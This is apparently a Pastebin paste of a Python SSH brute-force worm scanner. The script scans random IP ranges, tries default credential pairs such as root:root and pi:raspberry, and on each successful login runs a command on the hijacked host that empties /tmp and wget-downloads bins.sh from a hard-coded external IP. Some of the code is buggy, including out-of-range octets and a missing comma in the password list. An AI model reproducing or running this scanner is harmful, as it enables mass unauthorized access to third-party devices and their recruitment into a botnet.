Advertisement
Guest User

Untitled

a guest
Jan 3rd, 2017
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.04 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import threading, paramiko, random, socket, time, sys, re, os
  4.  
  5. if len(sys.argv) < 4:
  6. sys.exit("\033[37mUsage: python "+sys.argv[0]+" <Threads> <Flag> <Range> <1/2/perl> ")
  7.  
  8. paramiko.util.log_to_file("/dev/null")
  9.  
  10. reservedips = [
  11. 'http://127'
  12. ]
  13.  
  14. passwords = [ # perls/la
  15. "root:root",
  16. "root:admin",
  17. "admin:admin",
  18. "ubnt:ubnt"
  19. "root:1234",
  20. "admin:1234",
  21. "guest:guest",
  22. "user:user",
  23. "test:test",
  24. "pi:raspberry",
  25. "vagrant:vagrant",
  26. "root:maxided",
  27. ]
  28.  
  29. print 'Scanning started!!'
  30.  
  31. if sys.argv[4] == '1':
  32. passwords = [ "root:maxided", "root:root", "root:1234", "ubnt:ubnt", "ubnt:1234", "admin:admin", "admin:1234", "admin:password", "root:password", "system:system", "administrator:administrator", "guest:guest", "test:test" ] #Slow but effective
  33. if sys.argv[4] == '2':
  34. passwords = [ "root:root", "admin:admin" ] #Fast but yet less effective
  35. if sys.argv[4] == 'perl':
  36. passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ] #perl scanner
  37. if sys.argv[4] == 'ubnt':
  38. passwords = [ "ubnt:ubnt", "ubnt:1234", "ubnt:password" ] #ubnt scanner
  39. if sys.argv[4] == 'root':
  40. passwords = [ "root:root" ] #root scanner
  41.  
  42. ipclassinfo = sys.argv[2]
  43. if ipclassinfo == "A":
  44. ip1 = sys.argv[3]
  45. elif ipclassinfo == "B":
  46. ip1 = sys.argv[3].split(".")[0]
  47. ip2 = sys.argv[3].split(".")[1]
  48. elif ipclassinfo == "C":
  49. ips = sys.argv[3].split(".")
  50. num=0
  51. for ip in ips:
  52. num=num+1
  53. if num == 1:
  54. ip1 = ip
  55. elif num == 2:
  56. ip2 = ip
  57. elif num == 3:
  58. ip3 = ip
  59. class sshscanner(threading.Thread):
  60. global passwords
  61. global ipclassinfo
  62. if ipclassinfo == "A":
  63. global ip1
  64. elif ipclassinfo == "B":
  65. global ip1
  66. global ip2
  67. elif ipclassinfo == "C":
  68. global ip1
  69. global ip2
  70. global ip3
  71. def run(self):
  72. while 1:
  73. try:
  74. while 1:
  75. thisipisbad='no'
  76. if ipclassinfo == "A":
  77. self.host = ''+ip1+'.'+str(random.randrange(0,500))+'.'+str(random.randrange(0,500))+'.'+str(random.randrange(0,500))
  78. elif ipclassinfo == "B":
  79. self.host = ''+ip1+'.'+ip2+'.'+str(random.randrange(0,500))+'.'+str(random.randrange(0,500))
  80. elif ipclassinfo == "C":
  81. self.host = ''+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
  82. elif ipclassinfo == "LUCKY":
  83. lucky = ["201.13","197.23","187.89","37.236","191.53","161.18","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97"]
  84. self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,500))+'.'+str(random.randrange(0,500))
  85. else:
  86. self.host = 'http://'+str(random.randrange(0,500))+'.'+str(random.randrange(0,500))+'.'+str(random.randrange(0,500))+'.'+str(random.randrange(0,500))
  87. for badip in reservedips:
  88. if badip in self.host:
  89. thisipisbad='yes'
  90. if thisipisbad=='no':
  91. break
  92. self.host=self.host.replace('http://', '')
  93. username='root'
  94. password="0"
  95. port = 22
  96. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  97. s.settimeout(3)
  98. s.connect((self.host, port))
  99. s.close()
  100. ssh = paramiko.SSHClient()
  101. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  102. dobreak=False
  103. for passwd in passwords:
  104. if ":n/a" in passwd:
  105. password=""
  106. else:
  107. password=passwd.split(":")[1]
  108. if "n/a:" in passwd:
  109. username=""
  110. else:
  111. username=passwd.split(":")[0]
  112. try:
  113. ssh.connect(self.host, port = port, username=username, password=password, timeout=5)
  114. dobreak=True
  115. break
  116. except:
  117. pass
  118. if True == dobreak:
  119. break
  120. badserver=True
  121. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  122. output = stdout.read()
  123. if "inet addr" in output:
  124. badserver=False
  125. websites = [ ]
  126. if badserver == False:
  127. print 'Executing| '+username+'|'+password+':'+self.host+'|'+str(port)
  128. ssh.exec_command("cd /tmp; rm -rf *; wget -q http://208.67.1.182/bins.sh; chmod +x binssh bins.sh; rm -rf *")
  129. time.sleep(15)
  130. ssh.close()
  131. except:
  132. pass
  133.  
  134. for x in range(0,int(sys.argv[1])):
  135. try:
  136. t = sshscanner()
  137. t.start()
  138. except:
  139. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement